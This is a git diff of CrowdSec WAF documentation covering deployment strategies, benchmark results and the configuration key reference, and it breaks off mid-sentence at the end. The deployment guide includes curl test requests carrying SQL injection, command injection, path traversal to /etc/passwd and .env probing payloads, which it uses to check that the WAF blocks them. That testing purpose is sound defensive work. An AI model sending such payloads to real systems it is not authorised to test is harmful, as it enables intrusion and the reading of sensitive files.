diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/advanced_deployments.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/advanced_deployments.mdx new file mode 100644 index 000000000..c0ceb136a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/advanced_deployments.mdx @@ -0,0 +1,269 @@ +--- +id: advanced_deployments +title: WAF Deployment Strategies +sidebar_position: 6 +--- + +# WAF Deployment Strategies + +This guide covers advanced CrowdSec WAF deployment strategies for organizations looking to gradually enhance their web application security posture. Learn how to progressively improve your WAF configuration from basic virtual patching to comprehensive multi-layer protection. + +:::info Prerequisites +This guide assumes you have completed the [General Setup](/appsec/quickstart/general.mdx) and have a functional basic WAF deployment. +::: + +You can read more about the CrowdSec WAF CRS support in the [dedicated documentation](/appsec/crs/intro.md) + +## Security Enhancement Path + +CrowdSec WAF supports multiple deployment strategies that can be implemented progressively: + +### 1. Basic Virtual Patching (Quickstart) + +**Current State**: Blocking protection against known CVEs + +- Collections: [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) +- Mode: In-band (blocking) +- Coverage: Known vulnerabilities only +- False Positives: Minimal + +### 2. Enhanced Detection (Out-of-band CRS) + +**Next Step**: Add comprehensive attack detection without performance impact + +- Add: [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) (out-of-band) alongside existing virtual patching +- Mode: Non-blocking analysis + behavioral banning +- Coverage: OWASP Top 10 + comprehensive attack patterns + specific CVE protection +- Performance: No latency impact ⚡ +- Security: Layered approach - virtual patching + generic attack detection + +### 3. Maximum Protection (In-band CRS) + +**Advanced**: Full blocking protection with comprehensive coverage + +- Modify: Use [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) for blocking CRS while keeping virtual patching +- Mode: Immediate blocking of all detected attacks (both generic and CVE-specific) +- Coverage: Maximum protection with instant response 🛡️ +- Security: Dual-layer blocking - virtual patching handles specific vulnerabilities, CRS covers generic attack patterns +- Consideration: Might require tuning to minimize false positives + +You will most likely also need to configure the CRS themselves to tune out potential false positives. +You can do by using either official or custom CRS plugins, you can refer to [this documentation](/appsec/crs/plugin_support.md) for a general plugin overview and [this page](/appsec/crs/customization.md) for some examples. + +## Implementation Guide + +### Adding Out-of-band CRS + +Enhance your existing virtual patching deployment by adding comprehensive attack detection as an additional security layer: + +```bash title="Install CRS collection" +sudo cscli collections install crowdsecurity/appsec-crs +``` + +The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes: + +- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode +- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations + +Update your WAF acquisition configuration to include both rule sets: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking) + - crowdsecurity/crs # OWASP CRS rules (out-of-band detection) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +``` + +```bash title="Restart CrowdSec" +sudo systemctl restart crowdsec +``` + +**Benefits of this layered configuration:** + +- **Layer 1**: Immediate protection against known vulnerabilities (virtual patching) +- **Layer 2**: Comprehensive attack pattern detection (CRS out-of-band) +- **Complementary Coverage**: Virtual patching rules catch specific CVEs that CRS generic rules might miss +- Behavioral analysis and repeat offender banning +- No performance impact on legitimate traffic + +#### How to Test Out-of-band CRS Detection + +After implementing the layered configuration, verify both protection layers are working correctly: + +**Test 1: Virtual Patching Layer (Immediate Blocking)** + +Test that virtual patching rules block requests immediately by trying to access sensitive files: + +```bash +# Test .env file access (common vulnerability) +curl -v "http://your-app.com/.env" +curl -v "http://your-app.com/api/../.env" +``` + +Expected result: These requests should be immediately blocked with HTTP 403 Forbidden. + +**Test 2: CRS Out-of-band Detection Layer** + +The `crowdsecurity/crs` collection brings general detection for OWASP top10 attacks, which can be tested: + +```bash +# Replace with your application URL +TARGET="http://your-app.com" + +# SQL injection attempts (trigger multiple CRS rules) +curl "$TARGET/?id=1'+OR+'1'='1" +``` + +Expected results: + +- Detailed Alert is created (see `cscli alerts list`) + +
+ `cscli alerts list` output + +```yaml ++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+ +| ID | value | reason | country | as | decisions | created_at | ++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+ +| 62419 | Ip:xxx.xx.xx.xx | anomaly score out-of-band: sql_injection: 10, anomaly: 10, | FR | 5410 Bouygues Telecom SA | | 2025-09-09T14:41:07Z | +... +``` + +
+ +- Detailed Alert is visible in console + +
+ Alert Console view + ![timeline](/img/console-appsec-oob.png) +
+ +**Test 3: Verify Scenario Behavior** + +The `crowdsecurity/crowdsec-appsec-outofband` scenario will ban IPs triggering the CRS on more than 5 distinct requests on a short period, which can be tested: + +```bash +for i in {1..6}; do curl "$TARGET/?id=1'+OR+'1'='1"; done +``` + +Expected results: + +- Alerts are created for each request +- Decision is created by the 6th request + +
+ `cscli alerts list` output + +```yaml +───────┬────────────────────┬──────────────────────────────────────────────────────────────┬─────────┬──────────────────────────────┬───────────┬──────────────────────╮ +│ ID │ value │ reason │ country │ as │ decisions │ created_at │ +├───────┼────────────────────┼──────────────────────────────────────────────────────────────┼─────────┼──────────────────────────────┼───────────┼──────────────────────┤ +│ 62427 │ Ip:xxx.xx.xx.xx │ crowdsecurity/crowdsec-appsec-outofband │ FR │ 5410 Bouygues Telecom SA │ ban:1 │ 2025-09-09T14:51:11Z │ +│ 62426 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:12Z │ +│ 62425 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62424 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62423 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62422 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62421 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ + +``` + +
+ +### CRS In-band (Blocking Mode) + +For organizations requiring maximum protection, configure CRS rules to block requests immediately by installing the in-band CRS collection: + +```bash title="Install CRS in-band collection" +sudo cscli collections install crowdsecurity/appsec-crs-inband +``` + +:::info + +In order to avoid potential false positives, you can also install a CRS exclusion rules plugin from the hub or write a custom one. + +Refer to [this documentation](/appsec/crs/plugin_support.md) for a general plugin overview and [this page](/appsec/crs/customization.md) for instruction on how to write a custom plugin. + +::: + +#### Update Acquisition Configuration + +Modify your acquisition to use the in-band CRS configuration: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking) + - crowdsecurity/crs-inband # OWASP CRS rules (in-band blocking) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +``` + +```bash title="Restart CrowdSec" +sudo systemctl restart crowdsec +``` + +#### How to Test CRS In-band Blocking + +After configuring CRS for in-band (blocking) mode, test that both virtual patching and CRS rules provide immediate blocking: + +**Test 1: Virtual Patching Layer (Still Blocking)** + +Verify virtual patching continues to work: + +```bash +# These should still be immediately blocked +curl -v "http://your-app.com/.env" +``` + +Expected result: HTTP 403 Forbidden immediately. + +**Test 2: CRS In-band Blocking** + +Test that CRS rules now block requests immediately (no more out-of-band delay): + +```bash +TARGET="http://your-app.com" + +# SQL injection - should be blocked immediately +curl -v "$TARGET/?id=1' OR '1'='1" + +# XSS - should be blocked immediately +curl -v "$TARGET/?q=" + +# Command injection - should be blocked immediately +curl -v "$TARGET/?cmd=; cat /etc/passwd" + +# Path traversal - should be blocked immediately +curl -v "$TARGET/?file=../../../etc/passwd" +``` + +**Expected behavior:** + +- **All requests above**: Immediately blocked with HTTP 403 Forbidden +- **No delay**: Unlike out-of-band mode, blocking is instant +- **Dual protection**: Both virtual patching AND CRS rules provide immediate blocking + +:::warning Important Considerations +In-band CRS blocking provides maximum protection but requires: + +- **Thorough testing** in a staging environment +- **Gradual rollout** to production traffic +- **Monitoring and tuning** to prevent blocking legitimate requests +- **Whitelisting capabilities** for false positives + ::: + +## Next Steps + +Once you've implemented advanced deployments: + +- Configure [Custom Rules](create_rules.md) for application-specific protection +- Set up [Hooks](hooks.md) for custom response actions +- Explore [Configuration Options](configuration.md) for fine-tuning +- Review [Troubleshooting Guide](troubleshooting.md) for operational issues diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md index b987f6762..e21b367fe 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md @@ -32,7 +32,7 @@ The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/cro ### Triggering on _In-Band_ Rules -A simple yexample is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct _In-Band_ rules: +A simple example is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct _In-Band_ rules: ```yaml title="/etc/crowdsec/scenarios/appsec-vpatch.yaml" type: leaky diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md index 411455c5f..a931a5c20 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md @@ -15,6 +15,8 @@ sidebar_position: 80 --> +# Basic Benchmark + The Application Security Component benchmarks were run on an AWS EC2 instance `t2.medium` (2vCPU/4GiB RAM). All benchmarks were run with a single `routine` configured for the Application Security Component. @@ -63,3 +65,111 @@ On the system, we deployed: ![15 concurrent connections / 1000 requests](/img/appsec/bench/big_post_appsec_one_routine_15_1000.png) --> + +# Stress Test + +This test was run on a `c5a.4xlarge` EC2 instance (16CPU/32GiB RAM). + +Tested versions are: + +- Openresty `v1.27.1.2` +- CrowdSec `v1.7.0` +- cs-openresty-bouncer `v1.1.2` + +Openresty was configured to not log anything and forward requests to a Go backend that always returns 200, to improve raw throughput and avoid disk access limits. + +CrowdSec WAF was configured with 16 routines to make use of as much CPU as possible. + +All tests were simulating 400 concurrent users, making requests as quickly as possible during 1 minute. + +Except for the baseline, all values in the tables are shown as a delta from the baseline performance. + +## Baseline + +This test was run without loading the Openresty bouncer to get a baseline throughput of the system. + +### GET Requests + +| Metric | Value | +| --------------------- | -------- | +| Average Response Time | 23.55ms | +| Minimum Response Time | 21.24ms | +| Median Response Time | 23.18ms | +| Maximum Response Time | 255.16ms | +| P90 Response Time | 24.72ms | + +### 10% POST Requests + +| Metric | Value | +| --------------------- | -------- | +| Average Response Time | 25.08ms | +| Minimum Response Time | 21.29ms | +| Median Response Time | 23.95ms | +| Maximum Response Time | 331.08ms | +| P90 Response Time | 30.95ms | + +## Virtual Patching Rules + +### GET Requests - 10% malicious - InBand + +| Metric | Delta | +| --------------------- | -------- | +| Average Response Time | +4.94ms | +| Minimum Response Time | +0.93ms | +| Median Response Time | +3.48ms | +| Maximum Response Time | +6.83ms | +| P90 Response Time | +10.13ms | + +### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband + +| Metric | Delta | +| --------------------- | ------- | +| Average Response Time | +4.03ms | +| Minimum Response Time | +0.71ms | +| Median Response Time | +2.36ms | +| Maximum Response Time | +6.79ms | +| P90 Response Time | +8.07ms | + +## CRS + +### GET Requests - 10% malicious - InBand + +| Metric | Delta | +| --------------------- | -------- | +| Average Response Time | +32.85ms | +| Minimum Response Time | +2.21ms | +| Median Response Time | +27.47ms | +| Maximum Response Time | -64.45ms | +| P90 Response Time | +58.19ms | + +### POST Requests - 10% malicious - InBand + +| Metric | Delta | +| --------------------- | --------- | +| Average Response Time | +58.49ms | +| Minimum Response Time | +3.18ms | +| Median Response Time | +54.1ms | +| Maximum Response Time | -106.76ms | +| P90 Response Time | +83.01ms | + +### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband + +| Metric | Delta | +| --------------------- | -------- | +| Average Response Time | +32.54ms | +| Minimum Response Time | +1.87ms | +| Median Response Time | +28.36ms | +| Maximum Response Time | -68.34ms | +| P90 Response Time | +53.83ms | + +## Virtual Patching Inband + CRS Out-of-band + +### Realistic Traffic - 70% GET - 25% POST - 5% malicious + +| Metric | Delta | +| --------------------- | --------- | +| Average Response Time | +30.5ms | +| Minimum Response Time | +1.56ms | +| Median Response Time | +26.26ms | +| Maximum Response Time | -101.66ms | +| P90 Response Time | +51.18ms | diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md index 1f4c45f89..d26837fd3 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md @@ -1,217 +1,203 @@ --- id: configuration -title: Configuration Files -sidebar_position: 6 +title: Syntax +sidebar_position: 1 --- -## Overview +## AppSec Configuration Files -This page explains how AppSec configuration files work together and how the request processing pipeline behaves. +AppSec configuration files define which rules are loaded, how they run, and how the WAF responds. -**Prerequisites**: -- Familiarity with [AppSec concepts](/appsec/intro.md) -- Basic AppSec setup completed (see Getting Started guides) +They are loaded by the AppSec acquisition datasource via `appsec_configs` (see the [AppSec datasource](/log_processor/data_sources/appsec.md)). -The AppSec Component configuration consists of three main parts: +Below is a minimal example followed by the full key reference. -- **[Acquisition configuration](/log_processor/data_sources/appsec.md)**: Defines which port the AppSec Component listens on and which AppSec configuration files to load -- **AppSec configurations**: Define which rules are loaded and how they behave, along with [hooks](/appsec/hooks.md) for runtime customization - - **[AppSec rules](/appsec/rules_syntax.md)**: The actual detection signatures that identify and block malicious requests +```yaml +name: custom/my-appsec-config +inband_rules: + - crowdsecurity/base-config +default_remediation: ban +``` -## AppSec Acquisition +Each AppSec configuration file controls how rules are loaded and processed. +You can create custom configuration files in `/etc/crowdsec/appsec-configs/`. -The acquisition file is used to: -- Specify the **address** and **port** where AppSec-enabled remediation components forward requests. -- Specify one or more [AppSec configuration files](#appsec-configuration-files) that define which rules to apply and how. +## Configuration File Format -Details can be found in the [AppSec Datasource page](/log_processor/data_sources/appsec.md). +Configuration files share a common structure: -### Defining Multiple AppSec Configurations +- a [`name`](#name) (required) +- optional rule lists such as [`inband_rules`](#inband_rules) and [`outofband_rules`](#outofband_rules) +- optional behavior keys like [`default_remediation`](#default_remediation) and [`default_pass_action`](#default_pass_action) +- HTTP response codes (for example, [`blocked_http_code`](#blocked_http_code)) +- optional performance settings ([`inband_options`](#inband_options), [`outofband_options`](#outofband_options)) +- optional hooks ([`on_load`](#on_load), [`pre_eval`](#pre_eval), [`post_eval`](#post_eval), [`on_match`](#on_match)) +- optional logging ([`log_level`](#log_level)) -Often you will want multiple AppSec configurations to define groups of rules that are handled the same way. +```yaml +name: custom/my-appsec-config +inband_rules: + - crowdsecurity/base-config +outofband_rules: + - crowdsecurity/crs +default_remediation: ban +default_pass_action: allow +blocked_http_code: 403 +passed_http_code: 200 +log_level: info +``` -Use the `appsec_configs` *(with an S)* parameter to load multiple configurations that work together. +## Configuration Structure -In the following example we have two configurations: -- One with [CrowdSec default AppSec rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-configurations/appsec-default) running in in-band mode -- The other for the [CRS rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that run in out-of-band mode by default. +### name -```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" -appsec_configs: - - crowdsecurity/appsec-default # In-band virtual patching - - crowdsecurity/crs # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection -labels: - type: appsec -listen_addr: 127.0.0.1:7422 -source: appsec -``` +> string -:::info -CrowdSec AppSec collections are available on [CrowdSec Hub ↗️](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date. +Unique identifier for the AppSec configuration, used for logging and referencing. -For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`. -This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules. -::: +```yaml +name: custom/my-appsec-config +``` -### Using Custom Configurations +### inband_rules -If you want to alter default configuration files, create a new configuration file instead of modifying hub configurations. -Modifying hub configurations will make them *tainted* and prevent automatic updates. +> array of strings -For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file. +List of rule patterns to load as in-band rules. See [in-band rule processing](intro.md#in-band-rule-processing). -```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" -appsec_configs: - - crowdsecurity/appsec-default - - custom/my_vpatch_rules -labels: - type: appsec -listen_addr: 127.0.0.1:7422 -source: appsec +```yaml +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* ``` -A custom configuration file could look like this: +### outofband_rules -```yaml title="/etc/crowdsec/appsec-configs/my_vpatch_rules.yaml" -name: custom/my_vpatch_rules -default_remediation: ban -inband_rules: - - custom/custom-vpatch-* -# Add custom hooks as needed +> array of strings + +List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](intro.md#out-of-band-rule-processing). + +```yaml +outofband_rules: + - crowdsecurity/crs + - custom/detection-rules ``` -## AppSec Configuration Files +### default_remediation + +> string -AppSec configuration files declare **which rules to load** in **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)* mode, define how matches are handled (e.g., default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`. +Default action for in-band rules that match. The special value `allow` disables blocking. -For details, jump to the [Configuration properties list](#appendix-appsec-configuration-properties) +Common values include `ban` (block) and `captcha` (challenge), depending on what your remediation component supports. :::info -When loading multiple AppSec configs, _hooks_ and _appsec rules_ are appended, and for conflicting options (e.g., `default_remediation`), the last one takes precedence. +When using multiple AppSec configs, the last declared one takes precedence for this property. ::: -### Configuration Processing Order +```yaml +default_remediation: ban +``` -When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](/appsec/intro.md#inband-rules-and-out-of-band-rules). +### default_pass_action -### Multi-Config Rule Evaluation +> string -1. All `inband_rules` from all configurations are combined and evaluated together -2. All `outofband_rules` from all configurations are combined and evaluated together -3. Hooks from all configurations are executed in the order the configurations are listed -4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence +Action for requests that do not match any rules, or match rules with pass actions. -## AppSec Configuration Reference +:::info +When using multiple AppSec configs, the last declared one takes precedence for this property. +::: -Each AppSec configuration file defines how rules are loaded and processed. -You can create custom configuration files in the following folder: `/etc/crowdsec/appsec-configs/` +```yaml +default_pass_action: allow +``` -Here's the complete reference of available directives: +### blocked_http_code -### Core Configuration Directives +> integer -#### `name` (required) -Unique identifier for the AppSec configuration, used for logging and referencing. +HTTP status code returned to the remediation component when a request is blocked. ```yaml -name: custom/my-appsec-config +blocked_http_code: 403 ``` -#### `inband_rules` (optional) -List of rule patterns to load as in-band rules. See [in-band rule processing](/appsec/intro.md#inband-rule-processing) for details. +### passed_http_code -```yaml -inband_rules: - - crowdsecurity/base-config - - crowdsecurity/vpatch-* - - custom/critical-patches -``` +> integer -#### `outofband_rules` (optional) -List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](/appsec/intro.md#out-of-band-rules-processing) for details. +HTTP status code returned to the remediation component when a request is allowed. ```yaml -outofband_rules: - - crowdsecurity/crs - - custom/detection-rules +passed_http_code: 200 ``` -### Remediation Configuration +### user_blocked_http_code + +> integer -#### `default_remediation` (optional, default: "ban") -Default action for in-band rules that match. Special value `allow` prevents blocking. +HTTP status code returned to the end user when a request is blocked. ```yaml -default_remediation: ban # or "allow", "captcha", etc. +user_blocked_http_code: 403 ``` -:::info -When using multiple AppSec configs, the last declared one takes precedence for this property. -::: +### user_passed_http_code + +> integer -#### `default_pass_action` (optional, default: "allow") -Action for requests that don't match any rules or match rules with pass action. +HTTP status code returned to the end user when a request is allowed. ```yaml -default_pass_action: allow # or any custom value +user_passed_http_code: 200 ``` -:::info -When using multiple AppSec configs, the last declared one takes precedence for this property. -::: - -### HTTP Response Codes +### inband_options -#### `blocked_http_code` (optional, default: 403) -HTTP status code returned to the remediation component for blocked requests. +> object -#### `passed_http_code` (optional, default: 200) -HTTP status code returned to the remediation component for allowed requests. +Performance tuning options for in-band rule processing. -#### `user_blocked_http_code` (optional, default: 403) -HTTP status code returned to the end user for blocked requests. - -#### `user_passed_http_code` (optional, default: 200) -HTTP status code returned to the end user for allowed requests. +- `disable_body_inspection` (bool): Skip HTTP body inspection. +- `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576). ```yaml -blocked_http_code: 403 -passed_http_code: 200 -user_blocked_http_code: 403 -user_passed_http_code: 200 +inband_options: + disable_body_inspection: false + request_body_in_memory_limit: 1048576 ``` -### Performance and Processing Options +### outofband_options + +> object + +Performance tuning options for out-of-band rule processing. -#### `inband_options` and `outofband_options` -Performance tuning options for rule processing: +- `disable_body_inspection` (bool): Skip HTTP body inspection. +- `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576). ```yaml -inband_options: - disable_body_inspection: false # Skip HTTP body inspection - request_body_in_memory_limit: 1048576 # Max body size in memory (bytes) - outofband_options: disable_body_inspection: false request_body_in_memory_limit: 1048576 ``` -**`disable_body_inspection`**: Set to `true` to skip HTTP body analysis for performance. -**`request_body_in_memory_limit`**: Maximum request body size to load into memory (default: 1MB). Larger bodies are processed differently. +### log_level + +> string -#### `log_level` (optional) Logging verbosity for this configuration. Available levels: `debug`, `info`, `warn`, `error`. ```yaml -log_level: info # Use "debug" for troubleshooting +log_level: info ``` -### Hook Configuration +### on_load -AppSec configurations support four types of hooks for custom behavior: +> array -#### `on_load` -Executed when the configuration is loaded. Typically used for global rule modifications. +Executed when the configuration is loaded. Typically used for global rule changes. ```yaml on_load: @@ -219,7 +205,10 @@ on_load: - RemoveInBandRuleByName("problematic-rule") ``` -#### `pre_eval` +### pre_eval + +> array + Executed before rule evaluation for each request. Supports conditional logic. ```yaml @@ -229,7 +218,10 @@ pre_eval: - RemoveInBandRuleByName("strict-rule") ``` -#### `post_eval` +### post_eval + +> array + Executed after rule evaluation. Useful for debugging and analysis. ```yaml @@ -239,8 +231,11 @@ post_eval: - DumpRequest().WithBody().ToJSON() ``` -#### `on_match` -Executed when rules match. Used to modify remediation or generate custom alerts. +### on_match + +> array + +Executed when rules match. Used to adjust remediation or generate custom alerts. ```yaml on_match: @@ -250,168 +245,4 @@ on_match: - CancelAlert() ``` -For complete hook documentation, see [AppSec Hooks](/appsec/hooks.md). - -## Rule Management - -### Disabling Rules at Runtime - -You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...). - -You can disable rules by: - - Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`) - - ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID - - Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag - -The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...` - -To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration). - -```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" -name: custom/my_config -on_load: - - apply: - - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access") -pre_eval: - - filter: IsInBand == true && req.URL.Path startsWith "/bar/" - apply: - - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") -``` - -This example uses [hooks](/docs/appsec/hooks.md) to modify the configuration in 2 places: - - `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally. - - `pre_eval`: Expressions here will be applied only if the provided filter matches. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/blog/` and if we are currently processing in-band rules. - -You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](appsec/hooks.md) documentation for a list of available helpers. - -Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config. - -Finally, add your new config to the acquisition configuration: - -```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" -appsec_configs: - - crowdsecurity/appsec-default - - custom/my_config -labels: - type: appsec -listen_addr: 127.0.0.1:7422 -source: appsec -``` - -## Allowlisting - -### Fully allow a specific IP or range - -If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](local_api/allowlists.md). - -Rules will be processed as usual, but the request will not be blocked even if a rule matches. - -### Disable specific rules for a specific IP/range - -If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details): - -```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" -name: custom/my_config -pre_eval: - - filter: req.RemoteAddr == "1.2.3.4" - apply: - - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") -``` - -### Disable appsec for a specific FQDN - -If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed): - -```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" -name: custom/my_config -on_match: - - filter: req.Host == "foo.com" - apply: - - CancelEvent() - - CancelAlert() - - SetRemediation("allow") -``` - -With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow`(ie, instruct the bouncer to let the request through). - -## Appendix: Appsec configuration properties - -The AppSec configuration is referenced by the acquisition configuration (`appsec_config`, `appsec_configs` or `appsec_config_path`): - -> An example AppSec configuration -```yaml -name: crowdsecurity/virtual-patching -default_remediation: ban -#log_level: debug -inband_rules: - - crowdsecurity/base-config - - crowdsecurity/vpatch-* -# inband_options: -# disable_body_inspection: true -``` - -### `name` - -(required) the `name` of the AppSec configuration, used for both logging purposes and to reference the configuration from acquisition configuration. - -### `outofband_rules` - -A supplementary list of rules can be loaded during the out-of-band phase. These out-of-band rules are non-blocking and are assessed only after the AppSec Component has responded to the remediation component. This approach is beneficial for rules that may be costly to execute, have a higher likelihood of generating false positives, or are applicable in specific scenarios. - -### `inband_rules` - -An optional list of rules to be loaded in in-band phase. In band rules are blocking and evaluated before answering the remediation component. Useful for virtual patching, rules with no/low false positives. - -### `default_remediation` - -An optional remediation for in-band rules, defaults to `ban`. If set to `allow`, remediation component won't block the request (even if it matched rules). Any other value (including `captcha`) is passed as-is back to the remediation component. - -:::info -When using multiple AppSec configs the last declared one takes precedence for this property -::: - -### `default_pass_action` - -An optional remediation for requests that didn't match any rules (or rules with a pass action). Defaults to `allow`. Any other value will be passed as-is to the remediation component. - -:::info -When using multiple AppSec configs the last declared one takes precedence for this property -::: - -### `blocked_http_code` - -The HTTP code to return to the remediation component when a request should be blocked. Defaults to `403` - -### `passed_http_code` - -The HTTP code to return to the remediation component when a request should not be blocked. Defaults to `200` - -### `user_blocked_http_code` - -The HTTP code to return to the final client when a request should be blocked. Defaults to `403` - -### `user_passed_http_code` - -The HTTP code to return to the final client when a request should not be blocked. Defaults to `200` - -### `on_load` - -See the [dedicated doc](/docs/appsec/hooks.md#on_load) - -### `pre_eval` - -See the [dedicated doc](/docs/appsec/hooks.md#pre_eval) - -### `post_eval` - -See the [dedicated doc](/docs/appsec/hooks.md#post_eval) - -### `on_match` - -See the [dedicated doc](/docs/appsec/hooks.md#on_match) - -### `inband_options` and `outofband_options` - -Subset of options that can be applied to the in-band/out-of-band rules: - - `disable_body_inspection` : boolean, allows to disable HTTP body inspection - - `request_body_in_memory_limit` : a number of byes indicating the maximum body size to be loaded in memory +For complete hook documentation, see [AppSec Hooks](hooks.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_creation_testing.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_creation_testing.md new file mode 100644 index 000000000..a3566e242 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_creation_testing.md @@ -0,0 +1,98 @@ +--- +id: configuration_creation_testing +title: Creation & Testing +sidebar_position: 3 +--- + +## AppSec Acquisition + +The acquisition file is used to: +- Specify the **address** and **port** where AppSec-enabled remediation components forward requests. +- Specify one or more AppSec configuration files that define which rules to apply and how. + +Details can be found in the [AppSec Datasource page](/log_processor/data_sources/appsec.md). + +### Defining Multiple AppSec Configurations + +Often you will want multiple AppSec configurations to define groups of rules that are handled the same way. + +Use the `appsec_configs` parameter to load multiple configurations that work together. + +In the following example we have two configurations: +- One with [CrowdSec default AppSec rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-configurations/appsec-default) running in in-band mode +- The other for the [CRS rules 